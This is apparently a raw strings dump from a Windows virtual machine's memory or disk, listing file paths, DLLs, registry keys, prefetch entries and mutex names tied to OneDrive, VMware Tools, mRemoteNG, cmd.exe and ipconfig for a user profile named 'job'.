C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Service-0x0-3e7$\Default C:\Windows\System32\SecurityHealthSystray.exe vmtray.dll sigc-3.0-0.dll dndcp.dll desktopEvents.dll en-US Qt5Core.dll Qt5QmlModels.dll msvcp140.dll FileSyncFALWB.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\index-dir\the-real-index \Device\HarddiskVolume3\Windows\System32\icmp.dll chine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0003 vmtoolsd \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\windows.immersivecontrolpanel_10.0.8.1000_neutral_neutral_cw5n1h2txyewy 000165 \Device\HarddiskVolume3\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.26100.7309_none_cf9c45068ea8c077\comctl32.dll \Device\HarddiskVolume3\Windows\WinSxS\Manifests\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.26100.7705_none_85b39051f7b2640a.manifest C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\11f67a51b42b5a7259cc452d68c29f98\System.Core.ni.dll ofCompressedData C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe machine.pckgdep C:\Program Files\VMware\VMware Tools\vmtoolsd.exe GdiPlus.dll imaadp32.acm C:\Program Files\VMware\VMware Tools\vmtoolsd.exe C:\Program Files\VMware\VMware Tools\vmtoolsd.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Service-0x0-3e7$\Default C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe SyncEngine.dll CoreMessaging.dll \Device\HarddiskVolume3\Windows\System32\cabinet.dll SEGOE UI Segoe UI dire n1h2txyewy\ActivatableClassId\Global.WindowsMigration.AppXx0dcv1p0apffyaezj0ejz1ef041tk0es.mca 64\TextInputFramework.dll SEGOE UI Segoe UI C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe t88m0dvk9y7a6fh9wavr1.mca gd17pheptmaxx5ykxp7bcmqe4ra.mca sions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.Ap x0m8z8re49sw398b43.mca n1h2txyewy\ActivatableClassId\Global.WindowsMigration.AppXx0dcv1p0apffyaezj0ejz1ef041tk0es.mca \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.AccountDialog.AppXgm6yh8bb57s24w9w2d6ee9rvgb0me0nz.wwa TwinSxS.dll System.Drawing DWrite.dll \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat:WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package011220~31bf3856ad364e35~amd64~en-US~10.0.26100.4768.cat WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat:WofCompressedData C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe stem\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0000 C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Cache C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Windows\System32\dwmapi.dll \Device\HarddiskVolume3\Windows\System32\cryptxml.dll global.ini \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep qwindows.dll e\HarddiskVolume3\Windows\System32\atlthunk.dll \Device\HarddiskVolume3\Windows\System32\dxgi.dll \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\extensions_crx_cache \index-dir \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b3cf609737eb90073e35cdc30c3a3c75\mscorlib.ni.dll.aux \Device\HarddiskVolume3\Windows\System32\wscapi.dll Personal Update t\OneDrive\settings\Personal\SurveyManagerState.json container.dat 63}\0002 s\System32\en-US\mswsock.dll.mui CSI.db C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll 63}\0004 s\System32\d2d1.dll ate\update.xml \Microsoft\Windows\WlanSvc\CDSSync $(Arg0) \Device\HarddiskVolume3\Windows\WinSxS\Manifests\x86_microsoft.windows.isolationautomation_6595b64144ccf1df_1.0.26100.5074_none_374655d025f55b6d.manifest C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \logs\Update_2026-02-24_080648_5016-7516.log C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe ngs\Personal\OCSI.db-shm C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe Content.IE5 FileCoAuth.exe platforms C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Windows\System32\OnDemandConnRouteHelper.dll Feeds Cache C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe \Device\HarddiskVolume3\Windows\System32\mswsock.dll C:\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe OCSI.db-shm \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\Resources.pri 0,"R rsionMinor": FeedbackHub OCSI.db-wal 63}\0006 s\System32\dpapi.dll 03222332223322233222332223322233 SM0:6240:304:WilStaging_02_p0 SM0:6240:304:WilStaging_02 SM0:6240:304:WilStaging_02_p0h OLED39CEB42ECBDD4F167B915896A8C :WofCompressedData :WofCompressedData \Endpoint ZonesLockedCacheCounterMutex \Windows\Fonts\segoeuib.ttf \CMNotify \Windows\System32\Wpc.dll :WofCompressedData \Reference :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\wmp.dll \Server :WofCompressedData :WofCompressedData OLE5FAA0FB52939F8780B5CD8172AB4 OLE65567F2FB2D371731E4A43A70CF8 \Windows\SysWOW64\wbem\en-US \CMApi \Windows\System32\ipconfig.exe \Windows\System32\conhost.exe :WofCompressedData \Windows :WofCompressedData \Windows\SysWOW64\ :WofCompressedData :WofCompressedData NLS_CodePage_1252_3_2_0_0 :WofCompressedData SubscribedContent-88000165 :WofCompressedData :WofCompressedData SubscribedContent-88000163 SubscribedContent-88000161 :WofCompressedData :WofCompressedData :WofCompressedData \Windows\Fonts\segoeuib.ttf \Windows\SysWOW64\tzres.dll \Windows\System32\vid.dll :WofCompressedData :WofCompressedData \Windows\System32\cmdext.dll BITS_Perf_Library_Lock_PID_de4 :WofCompressedData ESENT_Perf_Library_Lock_PID_de4 HINE :WofCompressedData LSM_Perf_Library_Lock_PID_de4 :WofCompressedData :WofCompressedData \Windows\SysWOW64\wbem\Logs :WofCompressedData \Connect PerfOS_Perf_Library_Lock_PID_de4 \Windows\Fonts\segoeui.ttf MSDTC_Perf_Library_Lock_PID_de4 usbhub_Perf_Library_Lock_PID_de4 Tcpip_Perf_Library_Lock_PID_de4 :WofCompressedData :WofCompressedData \Windows\System32\input.dll SM0:7076:64:WilError_03_p0 OneDrive.exe 26.17.126.2 OneDrive.exe 26.17.126.2 \Endpoint \Endpoint :WofCompressedData \Windows\assembly\GAC_MSIL yYo3mnaHVX4BnL9PBvIA \Users\Default\AppData\Roaming \Users\Public\desktop.ini :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\SysWOW64\amsi.dll OLE7FCE841CDE1EBEA1450E28826794 \Windows\SysWOW64\mscoree.dll :WofCompressedData :WofCompressedData \CMNotify :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \CMNotify \Windows\Fonts\micross.ttf :WofCompressedData :WofCompressedData SM0:6644:168:WilStaging_02 \Windows\SysWOW64\uxtheme.dll \Windows\Fonts\segoeui.ttf :WofCompressedData \CMNotify :WofCompressedData \CMNotify \CMNotify :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ \Windows\SysWOW64\srvcli.dll :WofCompressedData \Windows\SysWOW64\urlmon.dll SM0:4272:304:WilStaging_02 :WofCompressedData SM0:6644:168:WilStaging_02_p0 :WofCompressedData \Windows\SysWOW64\iertutil.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:4272:304:WilStaging_02_p0h SM0:4272:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\sppc.dll :WofCompressedData \Windows\SysWOW64\propsys.dll :WofCompressedData \Windows\SysWOW64\cryptsp.dll \Windows\SysWOW64\virtdisk.dll \Windows\SysWOW64\bcrypt.dll :WofCompressedData \Windows\Microsoft.NET\assembly :WofCompressedData :WofCompressedData :WofCompressedData \Windows\Fonts\bahnschrift.ttf \Windows\Fonts\calibrii.ttf :WofCompressedData SM0:2184:120:WilError_03_p0 :WofCompressedData \Users\desktop.ini \Windows\Fonts\calibril.ttf \Windows\SysWOW64\DWrite.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\SysWOW64\ncobjapi.dll :WofCompressedData SM0:2184:120:WilError_03_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData eritance :WofCompressedData \Windows\Fonts\segoeui.ttf :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\slc.dll :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows :WofCompressedData taskhostw.exe $(Arg0) :WofCompressedData :WofCompressedData OLEAD18A00B1D67065F45449230A92F :WofCompressedData :WofCompressedData :WofCompressedData SM0:7076:168:WilStaging_02 SM0:7076:168:WilStaging_02_p0 :WofCompressedData OneDrive.exe 26.17.126.2 :WofCompressedData Kernel-MUI-Number-Allowed :WofCompressedData \CMApi \Windows\System32\wmi.dll :WofCompressedData :WofCompressedData \Windows\System32\appraiser.dll \srvsvc Kernel-MUI-Language-Disallowed HasFacadeAnimations.5016.7516 ImageDecodingIdle.5016.7516 AnimationsComplete.5016.7516 KeyboardInputReceived.5016.7516 RootVisualReset.5016.7516 Kernel-MUI-Language-Allowed \Windows\System32\cmd.exe FontDownloadsIdle.5016.7516 \Windows\System32\TpmTasks.dll \Windows\System32\hwreqchk.dll \Windows\System32\TaskSchdPS.dll :WofCompressedData HasBrushTransitions.5016.7516 \Windows\System32\dimsjob.dll PageNavigationComplete.5016.7516 :WofCompressedData :WofCompressedData :WofCompressedData HasBuildTreeWorks.5016.7516 :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ Cor_Private_IPCBlock_v4_7076 \Windows\System32\en-US\KernelBase.dll.mui \Windows\System32\en-US\taskhostw.exe.mui \Windows\System32\appvetwclientres.dll \Windows\System32\Taskmgr.exe \Windows\SysWOW64\ucrtbase_clr0400.dll \Device\HarddiskVolume3\Windows\System32\dhcpcsvc6.dll \Windows\SysWOW64\vcruntime140_clr0400.dll \Device\HarddiskVolume3\Windows\System32\rpcss.dll \Device\HarddiskVolume3\Windows\System32\dhcpcsvc6.dll 2TXYEWY \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters# \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\SysWOW64\CoreUIComponents.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters2 \Windows\System32\dhcpcsvc6.dll0.26100.291.0_x64__cw5n1h2txyewy olSe \Windows\System32\PeerDistSvc.dll \Windows\SysWOW64\CoreMessaging.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\System32\dhcpcsvc6.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters ionM \Device\HarddiskVolume3\Windows\System32\uxtheme.dll \Windows\Registration\R000000000006.clb \Windows\System32\WinMetadata\Windows.UI.Xaml.winmd \Device\HarddiskVolume3\Windows\System32\ole32.dll \Windows\System32\mprddm.dll \Windows\System32\en-US\PeerDistSvc.dll.mui \Windows\System32\drivers\ntfs.sys \Windows\System32\WsmRes.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\WMI\Security \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\WMI\Security \Windows\System32\en-US\vid.dll.mui \Windows\System32\WiFiCloudStore.dll \Device\HarddiskVolume3\Windows\System32\cryptxml.dll \Device\HarddiskVolume3\Windows\System32\wmiclnt.dll \Device\HarddiskVolume3\Windows\System32\msxml6.dll \Windows\System32\hvhostsvc.dll \Device\HarddiskVolume3\Windows\System32\profext.dll \Device\HarddiskVolume3\Windows\System32\msxml6r.dll dows\System32\Windows.StateR v4.0_4.0.0.0__b77a5c561934e089 \Windows\System32\sqmapi.dll \Windows\System32\en-US\logoncli.dll.mui \Device\HarddiskVolume3\Windows\System32\sqmapi.dll \Windows\System32\dhcpcsvc6.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Windows\System32\dhcpcsvc6.dll SyncEngineDatabase.db-wal \Device\HarddiskVolume3\Windows\System32\ntdll.dll \Windows\System32\en-US\hvhostsvc.dll.mui \Windows\System32\en-US\KernelBase.dll.mui SyncEngineDatabase.db-shm \Device\HarddiskVolume3\Windows\System32\perfc009.dat \Windows\System32\nlaapi.dll \Windows\System32\nlaapi.dll \Windows\SysWOW64\uxtheme.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Device\HarddiskVolume3\Windows\System32\Wldap32.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\System32\en-US\msxml6r.dll.mui \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\Prefetch\SECURITYHEALTHHOST.EXE-950D595E.pf \Windows\System32\drivers\pacer.sys \Device\HarddiskVolume3\Windows\System32\nlaapi.dll \Device\HarddiskVolume3\Windows\System32\mprddm.dll Windows Workflow Foundation 4.0.0.0_Perf_Library_Lock_PID_de4 \Device\HarddiskVolume3\Windows\System32\Wldap32.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Device\HarddiskVolume3\Windows\System32\winhttp.dll \Device\HarddiskVolume3\Windows\System32\nlaapi.dll \Device\HarddiskVolume3\Windows\System32\mswsock.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\Microsoft.NET\Framework\v4.0.30319\clrjit.dll .NET Data Provider for SqlServer_Perf_Library_Lock_PID_de4 \Device\HarddiskVolume3\Windows\System32\perfc009.dat \Windows\System32\OneSettingsClient.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Device\HarddiskVolume3\Windows\System32\profapi.dll \Device\HarddiskVolume3\Windows\System32\perfos.dll \Device\HarddiskVolume3\Windows\System32\perfh009.dat \Device\HarddiskVolume3\Windows\System32\xmllite.dll \Device\HarddiskVolume3\Windows\System32\winnsi.dll \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Device\HarddiskVolume3\Windows\System32\msasn1.dll \Windows\System32\backgroundTaskHost.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Device\HarddiskVolume3\Windows\System32\perfc009.dat \Windows\System32\nlaapi.dll \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration \Device\HarddiskVolume3\Windows\System32\pfclient.dll \Windows\System32\nlaapi.dll \Device\HarddiskVolume3\Windows\System32\perfc009.dat \Windows\System32\en-US\d2d1.dll.mui dows\System32\rpcrt4.dll v4.0_4.0.0.0__b03f5f7f11d50a3a System.Configuration.dll \Device\HarddiskVolume3\Windows\System32\perfc009.dat \Windows\System32\en-US\winnlsres.dll.mui \Windows\SysWOW64\urlmon.dll \Device\HarddiskVolume3\Windows\System32\stdole2.tlb \Windows\System32\rsaenh.dll \Device\HarddiskVolume3\Windows\apppatch\sysmain.sdb \Device\HarddiskVolume3\Windows\System32\dpapi.dll \Windows\Media\Windows Background.wav \Users\Public\Desktop\desktop.ini \Windows\System32\netprofm.dll \REGISTRY\MACHINE\SOFTWARE\Microsoft\LanguageOverlay \Device\HarddiskVolume3\Windows\System32\rsaenh.dll \AppContracts_x11AE5CF9-6612-4B89-90D2-77AD98209EEDy \Device\HarddiskVolume3\Users\Public\desktop.ini \AppContracts_x853309C6-8F9D-4473-8658-C387D5682ECDy \Program Files (x86)\mRemoteNG\ObjectListView.dll \Windows\SysWOW64\winnlsres.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Windows\SystemResources\wininet.dll.mun \Device\HarddiskVolume3\Windows\System32\cabinet.dll \Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\MMDevAPI.dll \Windows\System32\stdole2.tlb \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Windows\SysWOW64\srvcli.dll \Device\HarddiskVolume3\Windows\System32\cryptsp.dll \Windows\SysWOW64\iertutil.dll \Device\HarddiskVolume3\Windows\System32\sxs.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Windows\System32\en-US\kernel32.dll.mui \Device\HarddiskVolume3\Windows\System32\sxs.dll \Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\cfgmgr32.dll \Windows\System32\en-US\azroles.dll.mui \Windows\System32\azroles.dll \Windows\SysWOW64\twinapi.appcore.dll 6.0.26100.7705!tooltips_class32 \Device\HarddiskVolume3\Windows\System32\cryptbase.dll \Windows\System32\en-US\input.dll.mui \Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\bcrypt.dll \Device\HarddiskVolume3\Windows\System32\devobj.dll \Windows\SysWOW64\DataExchange.dll \Windows\System32\stdole2.tlb \Windows\System32\wbem\NCProv.dll 6.0.26100.7705!SysListView32 \Users\job\AppData\Roaming\mRemoteNG\pnlLayout.xml \Device\HarddiskVolume3\Windows\System32\stdole2.tlb \Windows\System32\drivers\afd.sys \Windows\SysWOW64\propsys.dll \Windows\System32\drivers\spaceport.sys \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\dnsapi.dll \Windows\System32\netprofm.dll \Windows\SysWOW64\virtdisk.dll \Windows\System32\drivers\fvevol.sys 6.0.26100.7705!SysTabControl32 C:\Windows\System32\RuntimeBroker.exe -Embedding \Device\HarddiskVolume3\Windows\System32\urlmon.dll \Windows\System32\stdole2.tlb \Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll TerminalServices-RemoteConnectionManager-AllowAppServerMode Microsoft-Windows-DesktopWindowManager-Core-LivePreviewAllowed \Device\HarddiskVolume3\Windows\System32\FWPUCLNT.DLL \Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\winhttp.dll \PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER \Windows\System32\stdole2.tlb \Windows\System32\netprofm.dll Microsoft-Windows-DesktopWindowManager-Core-TransparencyAllowed \Device\HarddiskVolume3\Windows\System32\stdole2.tlb \Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\Fonts\segoeui.ttf \Device\HarddiskVolume3\Windows\System32\rasadhlp.dll \Windows\SysWOW64\rsaenh.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\netapi32.dll \Windows\Prefetch\RUNTIMEBROKER.EXE-F0BE6FF5.pf \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Windows\System32\netprofm.dll \Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Windows\System32\netprofm.dll Users\job\AppData\Roaming\mRemoteNG\mRemoteNG.log \Windows\SysWOW64\cryptsp.dll \Windows\System32\drivers\refs.sys \Users\job\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\catroot2 \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Users\job\AppData\Local\Microsoft\Windows\History\History.IE5 \Device\HarddiskVolume3\Windows\System32\avrt.dll \Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\dpapi.dll EVENT_READYROOT/CIMV2WMI SELF-INSTRUMENTATION EVENT PROVIDER \Users\job\AppData\Roaming\mRemoteNG\confCons.xml TerminalServices-RemoteConnectionManager-AllowAppServerMode \Windows\System32\netprofm.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Windows\System32\netprofm.dll \Windows\System32\cscsvc.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ProductOptions \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\System32\drivers\vmbkmcl.sys TerminalServices-RemoteConnectionManager-AllowAppServerMode \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ProductOptions \Windows\SysWOW64\bcrypt.dll \Windows\System32\drivers\smbdirect.sys \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ProductOptions \Users\job\AppData\Local\Microsoft\Windows\INetCookies\ESE TerminalServices-RemoteConnectionManager-AllowAppServerMode \Windows\System32\en-US\sysmain.dll.mui \Device\HarddiskVolume3\Windows\System32\sysmain.dll \Windows\SysWOW64\wbem\WmiPrvSE.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ProductOptions \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ProductOptions MSHist012026022120260222 \Users\job\AppData\Local\Microsoft\Windows\WebCache\V01.chk \Device\HarddiskVolume3\Windows\System32\schannel.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ProductOptions \Device\HarddiskVolume3\Windows\System32\userenv.dll \Windows\System32\sysmain.dll \Device\HarddiskVolume3\Windows\System32\netprofm.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ProductOptions \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ProductOptions \Windows\System32\en-US\cscsvc.dll.mui \Windows\System32\drivers\tcpip.sys \Windows\Microsoft.NET\assembly\GAC_MSIL\System.Data.SqlXml \Windows\System32\drivers\etc\hosts \Windows\System32\drivers\etc\hosts C:\WINDOWS\sysWOW64\wbem\wmiprvse.exe -Embedding \Windows\System32\drivers\etc\hosts v4.0_4.0.0.0__b77a5c561934e089 \Windows\SysWOW64\wbem\WmiPrvSE.exe \Device\HarddiskVolume3\Windows\System32\WerFaultSecure.exe \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\Prefetch\MPCMDRUN.EXE-EFB0FDF1.pf \Windows\Prefetch\DLLHOST.EXE-7D5CE0CA.pf \Windows\System32\drivers\etc\hosts \Device\HarddiskVolume3\Windows\System32\netprofm.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\Prefetch\CONHOST.EXE-0C6456FB.pf \Windows\Prefetch\WLRMDR.EXE-A7C36FDD.pf \Windows\Prefetch\WMIPRVSE.EXE-39F97B2D.pf \Windows\SysWOW64\TextInputFramework.dll TerminalServices-RemoteConnectionManager-AllowAppServerMode \Device\HarddiskVolume3\Windows\System32\netprofm.dll \Windows\System32\drivers\etc\hosts \Windows\System32\netprofm.dll \Windows\System32\netprofm.dll \Windows\System32\drivers\etc\hosts \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Windows\System32\kernel.appcore.dll \Windows\System32\wshqos.dll \Windows\System32\kernel.appcore.dll01\Control\ProductOptions \Windows\SysWOW64\DWrite.dll \Windows\System32\en-US\mswsock.dll.mui \Windows\System32\bthserv.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters \Windows\System32\FamilySafetyExt.dll \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Windows\System32\drivers\vhdmp.sys \Windows\System32\kernel.appcore.dll \Device\HarddiskVolume3\Windows\System32\kernel.appcore.dll \Windows\System32\drivers\dmvsc.sys \Windows\System32\kernel.appcore.dll \Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf \Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf \Windows\System32\microsoft-windows-mptf-events.dll \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\ProductOptions ISTRY\MACHINE\SYSTEM\Control IPCONFIG.EXE-BFEC2AD0.pfions \Windows\System32\en-US\Windows.Web.dll.mui \Windows\System32\kernel.appcore.dll \Windows\System32\en-US\wshqos.dll.mui \Windows\Prefetch\MOBSYNC.EXE-B307E1CC.pf \Windows\Prefetch\IPCONFIG.EXE-BFEC2AD0.pf \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Device\HarddiskVolume3\Windows\System32\Windows.UI.dll \Windows\Prefetch\MIDISRV.EXE-526A993B.pf \Windows\Prefetch\CMD.EXE-0BD30981.pf \Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb \Windows\System32\backgroundTaskHost.exe \Windows\apppatch\sysmain.sdb \Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb WINDOWS\SYSTEM32\KERNEL32.DLL \Windows\System32\drivers\storport.sys \Windows\System32\Windows.Services.TargetedContent.dll \Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb \Windows\System32\cmd.exe.Config \Program Files\VMware\VMware Tools\suspend-vm-default.bat WINDOWS\SYSTEM32\MSVCP_WIN.DLL \Device\HarddiskVolume3\Windows\System32\cmd.exe \ProgramData\VMware\VMware Tools\tools-global.conf \Windows\Prefetch\NISSRV.EXE-16D8D79C.pf \Device\HarddiskVolume3\Windows\System32\cmd.exe \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Windows\SysWOW64\WindowsCodecs.dll WINDOWS\SYSTEM32\IPCONFIG.EXE \ProgramData\VMware\VMware Tools\tools.conf \Windows\apppatch\sysmain.sdb \Windows\apppatch\sysmain.sdb \Windows\apppatch\sysmain.sdb \Windows\Fonts\StaticCache.dat WINDOWS\SYSTEM32\COMBASE.DLL \Windows\SysWOW64\TextShaping.dll WINDOWS\SYSTEM32\APPIDAPI.DLL \Windows\Prefetch\CTFMON.EXE-795F8130.pf WINDOWS\SYSTEM32\UCRTBASE.DLL WINDOWS\SYSTEM32\EN-US\CMD.EXE.MUI \Windows\apppatch\MergeSdbFilesSource\sysMerge.sdb WINDOWS\SYSTEM32\CONHOST.EXE \Device\HarddiskVolume3\Windows\Fonts\micross.ttf \Device\HarddiskVolume3\Windows\System32\cmd.exe \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Windows\Prefetch\AUDIODG.EXE-AB22E9A6.pf \Device\HarddiskVolume3\Windows\System32\cmd.exe WINDOWS\SYSTEM32\KERNELBASE.DLL \Program Files\VMware\VMware Tools\suspend-vm-default.bat \Device\HarddiskVolume3\Windows\Fonts\micross.ttf \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 \Windows\System32\conhost.exe \Windows\System32\conhost.exe \Windows\System32\ipconfig.exere.dllmmon.dll \Windows\Prefetch\CONHOST.EXE-0C6456FB.pf \Windows\System32\KernelBase.dll \Windows\System32\conhost.exe \Windows\System32\dxgiadaptercache.exe \Windows\System32\ipconfig.exeives.dllon.dll \Device\HarddiskVolume3\Windows\System32\conhost.exe \Windows\SysWOW64\ncobjapi.dll \Windows\Prefetch\RUNTIMEBROKER.EXE-ACF4B348.pf \Windows\System32\kernel32.dll 